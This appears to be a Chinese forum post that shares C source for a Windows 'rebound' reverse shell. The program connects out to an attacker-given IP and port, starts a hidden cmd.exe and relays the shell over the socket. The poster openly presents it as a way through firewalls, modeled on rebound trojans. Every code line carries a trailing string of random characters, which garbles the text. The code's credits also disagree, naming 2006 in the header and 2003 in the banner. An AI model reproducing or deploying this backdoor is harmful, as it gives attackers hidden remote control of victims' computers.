这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i[d-n/)
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/* ============================== )QaJYC^+
Rebound port in Windows NT WKBPqfC
By wind,2006/7 gU>Y
===============================*/ a%ec: %
#include i1vBg}WHN
#include n5UcivyX
(W3R3>;
#pragma comment(lib,"wsock32.lib") abD55YJY
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void OutputShell(); =DE5Wq19
SOCKET sClient; Ym&_IOx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `;*=2M<c
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void main(int argc,char **argv) oX3Q9)
{ `Lm
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WSADATA stWsaData; B_`A[0H
int nRet; p(nC9NGB
SOCKADDR_IN stSaiClient,stSaiServer; -K}@Gp
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if(argc != 3) QEUg=*3W=
{ }5OlX
printf("Useage:\n\rRebound DestIP DestPort\n"); Podm 3b
return; + qpD>5#
} XPUH\I=
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WSAStartup(MAKEWORD(2,2),&stWsaData); sPkT>q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kf>'AbN
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stSaiClient.sin_family = AF_INET; e[915Q _
stSaiClient.sin_port = htons(0); sXoBw.^Ir_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F8b*Mt}p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W@"M/<r@/
{ 7_#v_ A^
printf("Bind Socket Failed!\n"); 1P8$z:|~
return; mg'-]>$ $]
} M P0ww$(
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stSaiServer.sin_family = AF_INET; ixiRFBUcF~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2)[81a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w'M0Rd]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |V!A!tB
{ ,dBtj8=
printf("Connect Error!"); b^Rg_,s
return; !6<2JNf
} ^N Et{]x
OutputShell(); %<1fj#X8
} qcQ`WU{
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void OutputShell() 9IMRWtZWT
{ EW2e k^
char szBuff[1024]; e;rs!I!Yw
SECURITY_ATTRIBUTES stSecurityAttributes; *XtZ;os]
OSVERSIONINFO stOsversionInfo; IA8kq =W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .s7/bF
STARTUPINFO stStartupInfo; ,vg8iRa
char *szShell; 3w{i5gGn
PROCESS_INFORMATION stProcessInformation; .fo.mC@a
unsigned long lBytesRead; YqNhD6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \,p)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); webT
stSecurityAttributes.lpSecurityDescriptor = 0; 1+#Vj#
stSecurityAttributes.bInheritHandle = TRUE; ?0'bf y]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ynP^|Ou
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rK=[&k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i>)Whr'e8
stStartupInfo.wShowWindow = SW_HIDE; D\*raQ`n
stStartupInfo.hStdInput = hReadPipe; ]BAF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &
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GetVersionEx(&stOsversionInfo); IHxX:a/iv
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switch(stOsversionInfo.dwPlatformId) X*S|aNaLWW
{ C8&)-v|
case 1: !EpP-bq'*
szShell = "command.com"; Grjm9tbX}
break; CUxSmN2[
default: 6"_FjS3Sl
szShell = "cmd.exe"; o`RTvGXk
break; l[\[)X3$
} Ap}:^k5{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1q\U
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send(sClient,szMsg,77,0); t~U:{g~
while(1) {'d?vm!r
{ deeOtco$LT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W4>8
if(lBytesRead) 3$HFHUMQsk
{ P?TFX.p7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "me Jn/
send(sClient,szBuff,lBytesRead,0); GueqpEd2
} IK%j+UB
else bd)A6a\h
{ sBRw#xyS
lBytesRead=recv(sClient,szBuff,1024,0); ,HMB`vF
if(lBytesRead<=0) break; /5yWvra
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M6 0(yTm
} :_Ng`b/
} 7sLs+|<"
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return; Q'Q+mt8u5
}